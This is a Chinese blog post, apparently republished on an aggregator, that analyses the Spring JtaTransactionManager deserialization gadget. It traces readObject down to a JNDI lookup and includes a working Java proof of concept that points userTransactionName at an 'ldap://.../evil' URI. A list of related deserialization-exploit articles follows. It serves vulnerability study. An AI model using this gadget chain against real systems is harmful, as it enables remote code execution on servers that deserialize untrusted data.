Spring反序列化JNDI分析

这篇具有很好参考价值的文章主要介绍了Spring反序列化JNDI分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞原理

Spring框架的JtaTransactionManager类中重写了readObject方法,这个方法最终会调用到JNDI中的lookup()方法,关键是里面的参数可控,这就导致了攻击者可以利用JNDI注入中的lookup()参数注入,传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,从而实现远程代码执行。

环境依赖

<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-tx</artifactId>
  <version>4.2.4.RELEASE</version>
</dependency>
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-context</artifactId>
  <version>4.2.4.RELEASE</version>
</dependency>
<dependency>
  <groupId>javax.transaction</groupId>
  <artifactId>javax.transaction-api</artifactId>
  <version>1.2</version>
</dependency>

流程分析

漏洞入口在org/springframework/transaction/jta/JtaTransactionManager.java的readObject方法
Spring反序列化JNDI分析
跟进initUserTransactionAndTransactionManager
Spring反序列化JNDI分析
跟进lookupUserTransaction,这里调用了lookup
Spring反序列化JNDI分析
跟进lookup方法
Spring反序列化JNDI分析
继续跟进lookup方法,这里调用的是ctx的lookup方法,ctx是一个Context类型,往后追踪ctx,发现ctx其实是InitialContext类的实例,所以这里我们控制name的值就能直接打JNDI注入了
Spring反序列化JNDI分析
name就是JtaTransactionManager的属性userTransactionName,我们可以反射修改它的值

package org.example;
import org.springframework.transaction.jta.JtaTransactionManager;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        Field userTransactionName = JtaTransactionManager.class.getDeclaredField("userTransactionName");
        userTransactionName.setAccessible(true);
        userTransactionName.set(jtaTransactionManager, "ldap://127.0.0.1:1099/evil");
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.bin"));
        oos.writeObject(jtaTransactionManager);
        // 反序列化
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\SpringJNDI\\test.bin"));
        ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
        ObjectInputStream obj = new ObjectInputStream(bis);
        obj.readObject();
    }
}

成功注入
Spring反序列化JNDI分析
rmi也是同理,把ldap换成rmi就行了,至于恶意服务端怎么搭建,之前的文章有讲过,这里就不再复述文章来源地址https://www.toymoban.com/news/detail-844385.html

到了这里,关于Spring反序列化JNDI分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Fastjson反序列化漏洞原理与复现

    Fastjson是java的一个库,可以将Java对象转化为json格式的字符串,也可以将json格式的字符串转化为Java对象。 Fastjson提供了 toJSONString() 和 parseObject() 方法来将Java对象与JSON相互转换。调用 toJSONString() 方法即可将对象转换成 JSON 字符串, parseObject() 方法则反过来将JSON字符串转换成

    2024年02月12日
    浏览(44)
  • shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:Program FilesJava 2.冰蝎 C:UsersaliDesktoptoolsBehinder_v4.0.6 3.shiro反序列化 图形化工具 shiro attack2.2 C:UsersaliDesktoptoolsshiro_attack_2.2 4.shiro反序列化 命令行工具 C:UsersaliDesktoptoolsshiro_tool.jar 一.Shiro-550 CVE-2016-4437 序列化: 在Java中,把Java对象转换为字节序列(

    2023年04月08日
    浏览(36)
  • java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一种常见的安全漏洞,其攻击方式是利用Java中的序列化和反序列化机制,通过在序列化数据中插入恶意代码,导致反序列化过程中执行恶意代码。本文将介绍Java反序列化漏洞的原理、攻击方式和防范措施。 一、Java序列化和

    2024年02月13日
    浏览(34)
  • XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析过程做个笔记,从前期JAVA的代理模式动态代理基础知识到XStream解析流程都有记录。 代理是设计模式中的一种,代理类为委托类提供消息预处理、消息转发、事后消息处理等功能,JAVA中代理分为三种角色:代理类、委托类、接口。 以上的定

    2024年02月13日
    浏览(32)
  • 渗透测试漏洞原理之---【不安全的反序列化】

    为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式⼤多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建

    2024年02月09日
    浏览(34)
  • Java反序列化漏洞-URLDNS链分析

    目录 一、前置知识 反射 二、分析 1. URL 2. HashMap 3. 解决一些问题 反射修改字段值 三、POC 四、利用链 菜鸟教程 Java 序列化 Java安全-反射 URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么

    2024年02月04日
    浏览(40)
  • 【中危】Spring Kafka 反序列化漏洞 (CVE-2023-34040)

    zhi.oscs1024.com​​​​​ 漏洞类型 反序列化 发现时间 2023-08-24 漏洞等级 中危 MPS编号 MPS-fed8-ocuv CVE编号 CVE-2023-34040 漏洞影响广度 小 OSCS 描述 Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录(record)指 Kafka 消息中的一

    2024年02月11日
    浏览(37)
  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(29)
  • 【新】通达OA前台反序列化漏洞分析

    0x01 前言 注:本文仅以安全研究为目的,分享对该漏洞的挖掘过程,文中涉及的所有漏洞均已报送给国家单位,请勿用做非法用途。 通达OA作为历史上出现漏洞较多的OA,在经过多轮的迭代之后已经很少前台的RCE漏洞了。一般来说通达OA是通过auth.inc.php文件来进行鉴权,如图

    2024年02月14日
    浏览(33)
  • TP 5.0.24反序列化漏洞分析

    很久没发过文章了,最近在研究审计链条相关的东西,codeql,ast,以及一些java的东西很多东西还是没学明白就先不写出来丢人了,写这篇tp的原因呢 虽然这个漏洞的分析文章蛮多了,但是还是跟着看了下,一方面是因为以前对pop链挖掘一直学的懵懵懂懂的 ctf的一些pop链能出

    2024年01月17日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包